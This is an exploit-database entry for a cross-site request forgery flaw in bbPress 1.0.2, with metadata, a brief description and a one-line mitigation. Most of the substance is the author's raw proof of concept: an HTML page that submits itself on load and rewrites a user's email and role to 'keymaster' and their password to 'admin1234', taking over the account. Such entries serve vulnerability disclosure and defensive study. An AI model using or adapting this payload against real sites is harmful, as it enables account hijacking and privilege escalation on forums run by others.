bbPress v 1.0.2 CSRF

vendor:

bbPress

by:

saudi0hacker

7,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: bbPress

Affected Version From: 1.0.2

Affected Version To: 1.0.2

Patch Exists: NO

Related CWE: N/A

CPE: bbpress

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

This exploit allows an attacker to change the display name, email address, and role of a user in bbPress v 1.0.2. The attacker can craft a malicious HTML page that contains a form with hidden fields that contain the new values for the user. When the victim visits the malicious page, the form is automatically submitted and the user's information is changed.

Mitigation:

Implementing a CSRF token in the form that is checked on the server side can prevent this attack.

Source

Exploit-DB raw data:

: # Software      : bbPress v 1.0.2                                          :
: # site          : www.bbpress.org                                          :
: # date          : 29/6/2010                                                : 
: # Author        : saudi0hacker                                             :
: # Date          : May 25, 2010                                             :
: # Type : CSRF                                                              :
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

<html>
 <body onload="document.forms['Login'].submit();">
<form method="post" name = "Login" action="http://localhost/bb/profile.php?id=1&tab=edit">

<select type="hidden" name="display_name" id="display_name">
<option type="hidden" id="display_displayname" value="admin">admin</option>
<input type="hidden" name="user_email" id="user_email"  value="admin@sss.com" />
<input  id="_wpnonce" name="_wpnonce" value="98dfb69b68" /><input type="hidden" name="_wp_http_referer" value="/bb/profile.php?id=1&tab=edit" />
<select type="hidden" id="admininfo_role" name="role">
<option value="keymaster" selected="selected">Key Master</option>
<input name="pass1" type="hidden" value= "admin1234" id="pass1" autocomplete="off" />
<input name="pass2" type="hidden" value= "admin1234" id="pass2" autocomplete="off" />
<input type="submit" name="Submit" value="save" />